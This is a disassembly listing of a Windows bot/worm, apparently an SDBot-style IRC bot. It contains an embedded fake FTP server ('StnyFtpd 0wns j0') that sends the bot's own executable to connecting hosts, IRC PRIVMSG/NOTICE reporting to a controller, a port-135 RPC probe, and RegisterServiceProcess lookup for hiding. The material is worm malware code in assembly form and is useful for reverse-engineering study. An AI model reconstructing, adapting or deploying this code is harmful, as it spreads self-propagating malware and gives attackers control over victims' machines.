sub_403B83	proc near		; DATA XREF: sub_406422+19o

var_2B8		= dword	ptr -2B8h
var_25C		= byte ptr -25Ch
var_158		= byte ptr -158h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_28		= dword	ptr -28h
var_24		= word ptr -24h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 25Ch
		push	ebx
		push	esi
		push	edi
		push	dword_42CF6C
		call	dword_42B468	; closesocket
		call	sub_40AC17
		call	dword_42B344	; WSACleanup
		call	dword_42B344	; WSACleanup
		mov	ebx, dword_417040
		push	64h
		call	ebx	; Sleep
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_40B630
		push	44h
		lea	eax, [ebp+var_54]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_40B630
		add	esp, 18h
		mov	[ebp+var_54], esi
		mov	esi, 104h
		lea	eax, [ebp+var_25C]
		push	esi
		push	eax
		mov	[ebp+var_48], offset byte_422270
		mov	[ebp+var_28], 1
		mov	[ebp+var_24], di
		call	dword_417080	; GetSystemDirectoryA
		lea	eax, [ebp+var_158]
		push	esi
		push	eax
		push	edi
		call	dword_41704C	; GetModuleFileNameA
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	edi
		push	28h
		push	1
		push	edi
		lea	eax, [ebp+var_158]
		push	edi
		push	eax
		push	edi
		call	dword_417070	; CreateProcessA
		test	eax, eax
		jz	short loc_403C48
		push	64h
		call	ebx	; Sleep
		push	[ebp+var_10]
		mov	esi, dword_417074
		call	esi	; CloseHandle
		push	[ebp+var_C]
		call	esi	; CloseHandle


loc_403C48:				; CODE XREF: sub_403B83+AFj
		mov	eax, [ebp+arg_8]
		mov	dword ptr [eax+0B0h], offset dword_42B2AC
		mov	eax, [esp+2B8h+var_2B8]
		mov	large fs:0, eax
		add	esp, 8
		push	edi
		call	dword_41706C	; ExitProcess
		pop	edi
		pop	esi
		pop	ebx
sub_403B83	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403C6B	proc near		; CODE XREF: sub_403CA3+125p
					; sub_403CA3+14Cp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		sub	edi, [ebp+arg_C]
		test	edi, edi
		jle	short loc_403C99


loc_403C7C:				; CODE XREF: sub_403C6B+2Cj
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_0]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_40C9B0
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_403C9F
		inc	esi
		cmp	esi, edi
		jl	short loc_403C7C


loc_403C99:				; CODE XREF: sub_403C6B+Fj
		xor	al, al


loc_403C9B:				; CODE XREF: sub_403C6B+36j
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_403C9F:				; CODE XREF: sub_403C6B+27j
		mov	al, 1
		jmp	short loc_403C9B
sub_403C6B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403CA3	proc near		; CODE XREF: sub_402972+8Bp

var_2010	= byte ptr -2010h
var_200E	= byte ptr -200Eh
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 2010h
		call	sub_40B690
		mov	eax, [ebp+arg_4]
		push	esi
		dec	eax
		push	edi
		jz	short loc_403CE4
		dec	eax
		jz	short loc_403CC2
		dec	eax


loc_403CBC:				; CODE XREF: sub_403CA3+57j
		xor	eax, eax


loc_403CBE:				; CODE XREF: sub_403CA3+3Fj
					; sub_403CA3+169j
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_403CC2:				; CODE XREF: sub_403CA3+16j
		push	3
		push	1388h
		push	[ebp+arg_0]
		call	dword_42B410	; inet_addr
		push	eax
		call	sub_4014AE
		add	esp, 0Ch
		neg	eax
		sbb	eax, eax
		and	eax, 3
		jmp	short loc_403CBE
; ---------------------------------------------------------------------------


loc_403CE4:				; CODE XREF: sub_403CA3+13j
		push	6
		push	1
		push	2
		call	dword_42B450	; socket
		mov	esi, eax
		or	edi, 0FFFFFFFFh
		cmp	esi, edi
		mov	[ebp+arg_4], esi
		jz	short loc_403CBC
		push	ebx
		xor	ebx, ebx
		push	10h
		lea	eax, [ebp+var_10]
		push	ebx
		push	eax
		call	sub_40B630
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	87h
		call	dword_42B3D4	; htons
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	sub_40564F
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_42B380	; connect
		cmp	eax, edi
		jz	loc_403E00
		push	ebx
		push	48h
		push	offset dword_41B018
		push	esi
		call	dword_42B420	; send
		cmp	eax, edi
		jz	loc_403E00
		mov	esi, 2000h
		push	ebx
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		push	[ebp+arg_4]
		call	dword_42B3EC	; recv
		cmp	eax, edi
		jz	loc_403E00
		cmp	[ebp+var_200E],	0Ch
		jnz	short loc_403E00
		push	ebx
		push	18h
		push	offset dword_41B064
		push	[ebp+arg_4]
		call	dword_42B420	; send
		cmp	eax, edi
		jz	short loc_403E00
		push	ebx
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		push	[ebp+arg_4]
		call	dword_42B3EC	; recv
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_403E00
		cmp	[ebp+var_200E],	2
		jnz	short loc_403E00
		push	10h
		push	offset loc_41B080
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		call	sub_403C6B
		add	esp, 10h
		test	al, al
		jz	short loc_403DE0
		cmp	esi, 12Ch
		setnl	bl
		inc	ebx
		jmp	short loc_403E00
; ---------------------------------------------------------------------------


loc_403DE0:				; CODE XREF: sub_403CA3+12Fj
		push	10h
		push	offset dword_41B094
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		call	sub_403C6B
		add	esp, 10h
		neg	al
		sbb	eax, eax
		and	eax, 3
		mov	ebx, eax


loc_403E00:				; CODE XREF: sub_403CA3+9Bj
					; sub_403CA3+B2j ...
		push	[ebp+arg_4]
		call	dword_42B468	; closesocket
		mov	eax, ebx
		pop	ebx
		jmp	loc_403CBE
sub_403CA3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403E11	proc near		; DATA XREF: sub_401141+227o

var_A6C		= byte ptr -0A6Ch
var_8DC		= byte ptr -8DCh
var_6DC		= dword	ptr -6DCh
var_6D8		= byte ptr -6D8h
var_4C4		= byte ptr -4C4h
var_444		= dword	ptr -444h
var_440		= dword	ptr -440h
var_438		= dword	ptr -438h
var_334		= byte ptr -334h
var_2D0		= byte ptr -2D0h
var_29C		= byte ptr -29Ch
var_238		= dword	ptr -238h
var_234		= dword	ptr -234h
var_230		= dword	ptr -230h
var_134		= byte ptr -134h
var_124		= byte ptr -124h
var_F8		= byte ptr -0F8h
var_C4		= byte ptr -0C4h
var_AC		= byte ptr -0ACh
var_48		= byte ptr -48h
var_38		= word ptr -38h
var_36		= word ptr -36h
var_34		= dword	ptr -34h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0A6Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		mov	ecx, 0A9h
		mov	esi, eax
		lea	edi, [ebp+var_6DC]
		inc	ebx
		rep movsd
		mov	[eax+2A0h], ebx
		lea	eax, [ebp+var_A6C]
		xor	edi, edi
		push	eax
		push	101h
		mov	[ebp+var_24], ebx
		mov	[ebp+var_28], ebx
		mov	[ebp+var_238], edi
		mov	[ebp+var_438], edi
		call	dword_41717C	; WSAStartup
		push	edi
		call	sub_40CC92
		push	eax
		call	sub_40B545
		push	0FA00h
		push	539h
		call	sub_40301D
		add	esp, 10h
		mov	dword_42B2B4, eax
		push	edi
		push	ebx
		push	2
		call	dword_4171A8	; socket
		mov	esi, eax
		lea	eax, [ebp+var_24]
		push	4
		push	eax
		push	4
		push	0FFFFh
		push	esi
		mov	[ebp+var_C], esi
		call	dword_41719C	; setsockopt
		lea	eax, [ebp+var_28]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_417180	; ioctlsocket
		mov	ax, word ptr dword_42B2B4
		mov	[ebp+var_38], 2
		push	eax
		mov	[ebp+var_34], edi
		call	dword_417194	; htons
		mov	[ebp+var_36], ax
		lea	eax, [ebp+var_38]
		push	10h
		push	eax
		push	esi
		call	dword_417184	; bind
		test	eax, eax
		jge	short loc_403EE6
		mov	eax, ebx
		jmp	loc_4043F1
; ---------------------------------------------------------------------------


loc_403EE6:				; CODE XREF: sub_403E11+CCj
		push	0Ah
		push	esi
		call	dword_417188	; listen
		mov	[ebp+var_238], ebx
		mov	ebx, dword_4171AC
		mov	[ebp+var_234], esi
		mov	[ebp+var_4], esi


loc_403F04:				; CODE XREF: sub_403E11+12Aj
					; sub_403E11+5D8j
		push	41h
		lea	esi, [ebp+var_238]
		pop	ecx
		lea	edi, [ebp+var_438]
		rep movsd
		xor	edi, edi
		lea	eax, [ebp+var_438]
		push	edi
		push	edi
		push	edi
		push	eax
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	dword_4171B0	; select
		cmp	eax, 0FFFFFFFFh
		jz	loc_4043EE
		cmp	[ebp+var_4], edi
		mov	[ebp+arg_0], edi
		jl	short loc_403F04


loc_403F3D:				; CODE XREF: sub_403E11+5D2j
		xor	esi, esi
		push	64h
		lea	eax, [ebp+var_29C]
		push	esi
		push	eax
		call	sub_40B630
		push	64h
		lea	eax, [ebp+var_AC]
		push	esi
		push	eax
		call	sub_40B630
		add	esp, 18h
		lea	eax, [ebp+var_438]
		push	eax
		push	edi
		call	sub_416438	; __WSAFDIsSet
		test	eax, eax
		jz	loc_4043DC
		cmp	edi, [ebp+var_C]
		jnz	short loc_403FE6
		lea	eax, [ebp+var_1C]
		mov	[ebp+var_1C], 10h
		push	eax
		lea	eax, [ebp+var_134]
		push	eax
		push	[ebp+var_C]
		call	dword_41718C	; accept
		cmp	eax, 0FFFFFFFFh
		jz	loc_4043DC
		mov	edx, [ebp+var_238]
		xor	ecx, ecx
		cmp	edx, esi
		jbe	short loc_403FB8


loc_403FAA:				; CODE XREF: sub_403E11+1A5j
		cmp	[ebp+ecx*4+var_234], eax
		jz	short loc_403FB8
		inc	ecx
		cmp	ecx, edx
		jb	short loc_403FAA


loc_403FB8:				; CODE XREF: sub_403E11+197j
					; sub_403E11+1A0j
		cmp	ecx, edx
		jnz	short loc_403FCE
		cmp	edx, 40h
		jnb	short loc_403FCE
		mov	[ebp+ecx*4+var_234], eax
		inc	[ebp+var_238]


loc_403FCE:				; CODE XREF: sub_403E11+1A9j
					; sub_403E11+1AEj
		cmp	eax, [ebp+var_4]
		jle	short loc_403FD6
		mov	[ebp+var_4], eax


loc_403FD6:				; CODE XREF: sub_403E11+1C0j
		push	esi
		push	15h
		push	offset a220Stnyftpd0wn ; "220 StnyFtpd 0wns j0\n"
		push	eax
		call	ebx	; send
		jmp	loc_4043DC
; ---------------------------------------------------------------------------


loc_403FE6:				; CODE XREF: sub_403E11+167j
		push	esi
		lea	eax, [ebp+var_29C]
		push	64h
		push	eax
		push	edi
		call	dword_4171A0	; recv
		test	eax, eax
		jg	short loc_404043
		mov	ecx, [ebp+var_238]
		xor	eax, eax
		cmp	ecx, esi
		jbe	short loc_404037


loc_404007:				; CODE XREF: sub_403E11+202j
		cmp	[ebp+eax*4+var_234], edi
		jz	short loc_40402C
		inc	eax
		cmp	eax, ecx
		jb	short loc_404007
		jmp	short loc_404037
; ---------------------------------------------------------------------------


loc_404017:				; CODE XREF: sub_403E11+21Ej
		mov	ecx, [ebp+eax*4+var_230]
		mov	[ebp+eax*4+var_234], ecx
		mov	ecx, [ebp+var_238]
		inc	eax


loc_40402C:				; CODE XREF: sub_403E11+1FDj
		dec	ecx
		cmp	eax, ecx
		jb	short loc_404017
		dec	[ebp+var_238]


loc_404037:				; CODE XREF: sub_403E11+1F4j
					; sub_403E11+204j
		push	edi
		call	dword_4171A4	; closesocket
		jmp	loc_4043DC
; ---------------------------------------------------------------------------


loc_404043:				; CODE XREF: sub_403E11+1E8j
		lea	eax, [ebp+var_334]
		push	eax
		lea	eax, [ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_29C]
		push	offset aSS	; "%s %s"
		push	eax
		call	sub_40B56D
		lea	eax, [ebp+var_AC]
		push	offset aUser	; "USER"
		push	eax
		call	sub_40C250
		add	esp, 18h
		test	eax, eax
		jnz	short loc_404087
		push	esi
		push	16h
		push	offset a331PasswordReq ; "331 Password required\n"
		jmp	loc_4043C7
; ---------------------------------------------------------------------------


loc_404087:				; CODE XREF: sub_403E11+267j
		lea	eax, [ebp+var_AC]
		push	offset aPass	; "PASS"
		push	eax
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4040AB
		push	esi
		push	14h
		push	offset a230UserLoggedI ; "230 User logged in.\n"
		jmp	loc_4043C7
; ---------------------------------------------------------------------------


loc_4040AB:				; CODE XREF: sub_403E11+28Bj
		lea	eax, [ebp+var_AC]
		push	offset aSyst	; "SYST"
		push	eax
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4040CF
		push	esi
		push	0Dh
		push	offset a215Stnyftpd ; "215 StnyFtpd\n"
		jmp	loc_4043C7
; ---------------------------------------------------------------------------


loc_4040CF:				; CODE XREF: sub_403E11+2AFj
		lea	eax, [ebp+var_AC]
		push	offset aRest	; "REST"
		push	eax
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4040F3
		push	esi
		push	10h
		push	offset a350Restarting_ ; "350 Restarting.\n"
		jmp	loc_4043C7
; ---------------------------------------------------------------------------


loc_4040F3:				; CODE XREF: sub_403E11+2D3j
		lea	eax, [ebp+var_AC]
		push	offset off_41B280
		push	eax
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404117
		push	esi
		push	1Eh
		push	offset a257IsCurrentDi ; "257 \"/\" is current directory.\n"
		jmp	loc_4043C7
; ---------------------------------------------------------------------------


loc_404117:				; CODE XREF: sub_403E11+2F7j
		lea	eax, [ebp+var_AC]
		push	offset aType	; "TYPE"
		push	eax
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404152
		lea	eax, [ebp+var_334]
		push	offset aA	; "A"
		push	eax
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404152
		push	esi
		push	13h
		push	offset a200TypeSetToA_ ; "200 Type set to A.\n"
		jmp	loc_4043C7
; ---------------------------------------------------------------------------


loc_404152:				; CODE XREF: sub_403E11+31Bj
					; sub_403E11+332j
		lea	eax, [ebp+var_AC]
		push	offset aType	; "TYPE"
		push	eax
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40418D
		lea	eax, [ebp+var_334]
		push	offset aI	; "I"
		push	eax
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40418D
		push	esi
		push	13h
		push	offset a200TypeSetToI_ ; "200 Type set to I.\n"
		jmp	loc_4043C7
; ---------------------------------------------------------------------------


loc_40418D:				; CODE XREF: sub_403E11+356j
					; sub_403E11+36Dj
		lea	eax, [ebp+var_AC]
		push	offset aPasv	; "PASV"
		push	eax
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4041DB
		push	0Ah
		mov	esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"...
		pop	ecx
		lea	edi, [ebp+var_124]
		rep movsd
		push	eax
		lea	eax, [ebp+var_124]
		push	eax
		movsw
		call	sub_40B5B0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_124]


loc_4041CB:				; CODE XREF: sub_403E11+409j
		push	eax
		push	[ebp+arg_0]
		call	ebx	; send
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		jmp	loc_4043CA
; ---------------------------------------------------------------------------


loc_4041DB:				; CODE XREF: sub_403E11+391j
		lea	eax, [ebp+var_AC]
		push	offset aList	; "LIST"
		push	eax
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40421C
		push	5
		mov	esi, offset a226TransferCom ; "226 Transfer complete\n"
		pop	ecx
		lea	edi, [ebp+var_C4]
		rep movsd
		movsw
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		movsb
		call	sub_40B5B0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_C4]
		jmp	short loc_4041CB
; ---------------------------------------------------------------------------


loc_40421C:				; CODE XREF: sub_403E11+3DFj
		lea	eax, [ebp+var_AC]
		push	offset aPort	; "PORT"
		push	eax
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4042ED
		lea	eax, [ebp+var_2D0]
		push	eax
		lea	eax, [ebp+var_F8]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_29C]
		push	offset aS	; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"...
		push	eax
		call	sub_40B56D
		lea	eax, [ebp+var_F8]
		push	eax
		call	sub_40C3AF
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_2D0]
		push	eax
		call	sub_40C3AF
		mov	[ebp+arg_0], eax
		push	32h
		lea	eax, [ebp+var_F8]
		push	esi
		push	eax
		call	sub_40B630
		push	[ebp+arg_0]
		lea	eax, [ebp+var_F8]
		push	[ebp+var_8]
		push	offset aXX	; "%x%x\n"
		push	eax
		call	sub_40B0B3
		add	esp, 44h
		lea	eax, [ebp+var_F8]
		push	10h
		push	esi
		push	eax
		call	sub_40CC7B
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_48]
		push	offset aS_S_S_S	; "%s.%s.%s.%s"
		push	eax
		call	sub_40B0B3
		add	esp, 24h
		push	esi
		push	1Dh
		push	offset a200PortCommand ; "200 PORT command successful.\n"
		jmp	loc_4043C7
; ---------------------------------------------------------------------------


loc_4042ED:				; CODE XREF: sub_403E11+420j
		lea	eax, [ebp+var_AC]
		push	offset aRetr	; "RETR"
		push	eax
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4043A8
		push	esi
		push	28h
		push	offset a150OpeningBina ; "150 Opening BINARY mode data connection"...
		push	edi
		call	ebx	; send
		push	[ebp+var_8]
		lea	eax, [ebp+var_48]
		push	eax
		call	sub_4043F8
		pop	ecx
		cmp	eax, 1
		pop	ecx
		jnz	short loc_40439E
		call	sub_404475
		cmp	eax, 1
		jnz	loc_4043CA
		push	esi
		push	17h
		push	offset a226TransferC_0 ; "226 Transfer complete.\n"
		push	edi
		call	ebx	; send
		lea	eax, [ebp+var_6D8]
		push	eax
		lea	eax, [ebp+var_48]
		push	dword_42B2B4
		push	eax
		lea	eax, [ebp+var_8DC]
		push	offset unk_41B0F0
		push	eax
		call	sub_40B0B3
		add	esp, 14h
		cmp	[ebp+var_440], esi
		jnz	short loc_40438F
		push	esi
		lea	eax, [ebp+var_8DC]
		push	[ebp+var_444]
		push	eax
		lea	eax, [ebp+var_4C4]
		push	eax
		push	[ebp+var_6DC]
		call	sub_404555
		add	esp, 14h


loc_40438F:				; CODE XREF: sub_403E11+559j
		lea	eax, [ebp+var_8DC]
		push	eax
		call	sub_403145
		pop	ecx
		jmp	short loc_4043CA
; ---------------------------------------------------------------------------


loc_40439E:				; CODE XREF: sub_403E11+513j
		push	esi
		push	20h
		push	offset a425CanTOpenDat ; "425 Can't open data connection.\n"
		jmp	short loc_4043C7
; ---------------------------------------------------------------------------


loc_4043A8:				; CODE XREF: sub_403E11+4F1j
		lea	eax, [ebp+var_AC]
		push	offset aQuit	; "QUIT"
		push	eax
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4043CA
		push	esi
		push	1Bh
		push	offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n"


loc_4043C7:				; CODE XREF: sub_403E11+271j
					; sub_403E11+295j ...
		push	edi
		call	ebx	; send


loc_4043CA:				; CODE XREF: sub_403E11+3C5j
					; sub_403E11+51Dj ...
		push	64h
		lea	eax, [ebp+var_29C]
		push	esi
		push	eax
		call	sub_40B630
		add	esp, 0Ch


loc_4043DC:				; CODE XREF: sub_403E11+15Ej
					; sub_403E11+187j ...
		inc	edi
		cmp	edi, [ebp+var_4]
		mov	[ebp+arg_0], edi
		jle	loc_403F3D
		jmp	loc_403F04
; ---------------------------------------------------------------------------


loc_4043EE:				; CODE XREF: sub_403E11+11Ej
		xor	eax, eax
		inc	eax


loc_4043F1:				; CODE XREF: sub_403E11+D0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_403E11	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4043F8	proc near		; CODE XREF: sub_403E11+509p

var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1A0h
		lea	eax, [ebp+var_1A0]
		push	eax
		push	101h
		call	dword_41717C	; WSAStartup
		push	0
		push	1
		push	2
		call	dword_4171A8	; socket
		push	[ebp+arg_0]
		mov	dword_42B2B0, eax
		mov	[ebp+var_10], 2
		call	dword_417190	; inet_addr
		push	[ebp+arg_4]
		mov	[ebp+var_C], eax
		call	dword_417194	; htons
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	dword_42B2B0
		call	dword_417198	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_404470
		push	dword_42B2B0
		call	dword_4171A4	; closesocket
		call	dword_417178	; WSACleanup
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_404470:				; CODE XREF: sub_4043F8+60j
		xor	eax, eax
		inc	eax
		leave
		retn
sub_4043F8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404475	proc near		; CODE XREF: sub_403E11+515p

var_504		= byte ptr -504h
var_104		= byte ptr -104h

		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	esi
		lea	eax, [ebp+var_104]
		push	104h
		push	eax
		push	0
		call	dword_41704C	; GetModuleFileNameA
		lea	eax, [ebp+var_104]
		push	offset dword_41AD40
		push	eax
		call	sub_40C7B8
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_40450C
		test	byte ptr [esi+0Ch], 10h
		jnz	short loc_4044F0
		push	edi
		mov	edi, 400h


loc_4044B8:				; CODE XREF: sub_404475+78j
		push	esi
		push	1
		lea	eax, [ebp+var_504]
		push	edi
		push	eax
		call	sub_40C410
		add	esp, 10h
		lea	eax, [ebp+var_504]
		push	0
		push	edi
		push	eax
		push	dword_42B2B0
		call	dword_4171AC	; send
		push	1
		call	dword_417040	; Sleep
		test	byte ptr [esi+0Ch], 10h
		jz	short loc_4044B8
		pop	edi


loc_4044F0:				; CODE XREF: sub_404475+3Bj
		push	esi
		call	sub_40C3BA
		pop	ecx
		push	dword_42B2B0
		call	dword_4171A4	; closesocket
		call	dword_417178	; WSACleanup
		xor	eax, eax
		inc	eax


loc_40450C:				; CODE XREF: sub_404475+35j
		pop	esi
		leave
		retn
sub_404475	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40450F	proc near		; CODE XREF: sub_406A2F+3Dp
					; sub_406BAB+1B6p ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	200h
		push	eax
		call	sub_40C2D4
		add	esp, 10h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_40B5B0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_42B420	; send
		leave
		retn
sub_40450F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404555	proc near		; CODE XREF: sub_401000+B2p
					; sub_4010CA+61p ...

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		cmp	[ebp+arg_C], 0
		push	esi
		push	edi
		mov	edi, offset aNotice ; "NOTICE"
		jnz	short loc_404570
		mov	edi, offset aPrivmsg ; "PRIVMSG"


loc_404570:				; CODE XREF: sub_404555+14j
		push	edi
		call	sub_40B5B0
		push	[ebp+arg_4]
		mov	esi, 1FAh
		sub	esi, eax
		call	sub_40B5B0
		push	[ebp+arg_8]
		sub	esi, eax
		lea	eax, [ebp+var_400]
		push	offset aS_0	; "%s"
		push	esi
		push	eax
		call	sub_40BDE7
		lea	eax, [ebp+var_400]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	edi
		push	offset aSSS	; "%s %s :%s\r\n"
		push	eax
		call	sub_40B0B3
		add	esp, 2Ch
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_40B5B0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_42B420	; send
		cmp	[ebp+arg_10], 0
		pop	edi
		pop	esi
		jz	short locret_4045EE
		push	7D0h
		call	dword_417040	; Sleep

locret_4045EE:				; CODE XREF: sub_404555+8Cj
		leave
		retn
sub_404555	endp


; =============== S U B	R O U T	I N E =======================================



sub_4045F0	proc near		; CODE XREF: sub_406422+50p
		push	ebx
		push	ebp
		mov	ebp, dword_41708C
		push	esi
		push	edi
		push	offset aKernel32_dll ; "kernel32.dll"
		call	ebp	; GetModuleHandleA
		mov	esi, dword_417088
		mov	edi, eax
		xor	ebx, ebx
		cmp	edi, ebx
		jz	loc_404710
		push	offset aSeterrormode ; "SetErrorMode"
		push	edi
		call	esi	; GetProcAddress
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		push	edi
		mov	dword_42B47C, eax
		call	esi	; GetProcAddress
		push	offset aProcess32first ; "Process32First"
		push	edi
		mov	dword_42B3F4, eax
		call	esi	; GetProcAddress
		push	offset aProcess32next ;	"Process32Next"
		push	edi
		mov	dword_42B3D8, eax
		call	esi	; GetProcAddress
		push	offset aModule32first ;	"Module32First"
		push	edi
		mov	dword_42B30C, eax
		call	esi	; GetProcAddress
		push	offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
		push	edi
		mov	dword_42B2BC, eax
		call	esi	; GetProcAddress
		push	offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
		push	edi
		mov	dword_42B2E8, eax
		call	esi	; GetProcAddress
		push	offset aGetdrivetypea ;	"GetDriveTypeA"
		push	edi
		mov	dword_42B354, eax
		call	esi	; GetProcAddress
		push	offset aSearchpatha ; "SearchPathA"
		push	edi
		mov	dword_42B430, eax
		call	esi	; GetProcAddress
		push	offset aQueryperforman ; "QueryPerformanceCounter"
		push	edi
		mov	dword_42B484, eax
		call	esi	; GetProcAddress
		push	offset aQueryperform_0 ; "QueryPerformanceFrequency"
		push	edi
		mov	dword_42B314, eax
		call	esi	; GetProcAddress
		cmp	dword_42B47C, ebx
		mov	dword_42B300, eax
		jz	short loc_4046EE
		cmp	dword_42B3F4, ebx
		jz	short loc_4046EE
		cmp	dword_42B3D8, ebx
		jz	short loc_4046EE
		cmp	dword_42B30C, ebx
		jz	short loc_4046EE
		cmp	dword_42B2E8, ebx
		jz	short loc_4046EE
		cmp	dword_42B354, ebx
		jz	short loc_4046EE
		cmp	dword_42B430, ebx
		jz	short loc_4046EE
		cmp	dword_42B484, ebx
		jz	short loc_4046EE
		cmp	dword_42B314, ebx
		jz	short loc_4046EE
		cmp	eax, ebx
		jnz	short loc_4046F8


loc_4046EE:				; CODE XREF: sub_4045F0+B8j
					; sub_4045F0+C0j ...
		mov	dword_42B488, 1


loc_4046F8:				; CODE XREF: sub_4045F0+FCj
		push	offset aRegisterservic ; "RegisterServiceProcess"
		push	edi
		call	esi	; GetProcAddress
		cmp	eax, ebx
		mov	dword_42B408, eax
		jz	short loc_404725
		push	1
		push	ebx
		call	eax	; GetDiskFreeSpaceExA
		jmp	short loc_404725
